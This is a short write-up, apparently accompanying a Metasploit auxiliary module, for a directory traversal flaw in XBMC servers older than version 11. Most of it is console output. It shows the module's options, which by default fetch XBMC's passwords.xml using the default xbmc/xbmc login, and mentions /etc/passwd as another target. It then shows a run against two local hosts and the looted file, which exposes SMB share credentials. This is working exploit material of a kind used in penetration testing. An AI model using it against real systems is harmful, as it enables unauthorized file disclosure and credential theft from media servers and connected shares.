XBMC <11 Directory Traversal Exploit

This module can disclose remote files of XBMC servers running the HTTP service (default port 8080).

It at least passes msftidy, and will run.  Here is the output running against a jailbroken Apple TV 2. (Note the FILEPATH would change per platform, and can simply be /etc/passwd as well)

420-1572-man:Development mandreko$ msfconsole

 ______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V4                        |
|______________________________________________________________________________|
      \                                  /                      /
       \     .                          /                      /            x
        \                              /                      /
         \                            /          +           /
          \            +             /                      /
           *                        /                      /
                                   /      .               /
    X                             /                      /            X
                                 /                     ###
                                /                     # % #
                               /                       ###
                      .       /
     .                       /      .            *           .
                            /
                           *
                  +                       *

                                       ^
####      __     __     __          #######         __     __     __        ####
####    /    \ /    \ /    \      ###########     /    \ /    \ /    \      ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                           http://metasploit.pro


       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1048 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use auxiliary/scanner/http/xbmc_traversal 
msf  auxiliary(xbmc_traversal) > show options

Module options (auxiliary/scanner/http/xbmc_traversal):

   Name      Current Setting                                                      Required  Description
   ----      ---------------                                                      --------  -----------
   DEPTH     9                                                                    yes       The max traversal depth
   FILEPATH  /private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml  no        The name of the file to download
   PASS      xbmc                                                                 yes       The password to use for the HTTP server
   Proxies                                                                        no        Use a proxy chain
   RHOSTS                                                                         yes       The target address range or CIDR identifier
   RPORT     8080                                                                 yes       The target port
   THREADS   1                                                                    yes       The number of concurrent threads
   USER      xbmc                                                                 yes       The username to use for the HTTP server
   VHOST                                                                          no        HTTP server virtual host

msf  auxiliary(xbmc_traversal) > set rhosts 192.168.1.102, 192.168.1.103
rhosts => 192.168.1.102, 192.168.1.103
msf  auxiliary(xbmc_traversal) > run

[+] File saved in: /Users/mandreko/.msf4/loot/20130221152743_default_192.168.1.102_xbmc.http_856176.xml
[*] Scanned 1 of 2 hosts (050% complete)
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(xbmc_traversal) > cat /Users/mandreko/.msf4/loot/20130221152743_default_192.168.1.102_xbmc.http_856176.xml
[*] exec: cat /Users/mandreko/.msf4/loot/20130221152743_default_192.168.1.102_xbmc.http_856176.xml

<passwords>
    <path>
        <from pathversion="1">smb://192.168.1.2/Movies</from>
        <to pathversion="1">smb://xbmc:xbmc@192.168.1.2/Movies/</to>
    </path>
    <path>
        <from pathversion="1">smb://192.168.1.2/tv</from>
        <to pathversion="1">smb://xbmc:xbmc@192.168.1.2/tv/</to>
    </path>
    <path>
        <from pathversion="1">smb://192.168.1.2/Music</from>
        <to pathversion="1">smb://xbmc:xbmc@192.168.1.2/Music/</to>
    </path>
</passwords>
msf  auxiliary(xbmc_traversal) >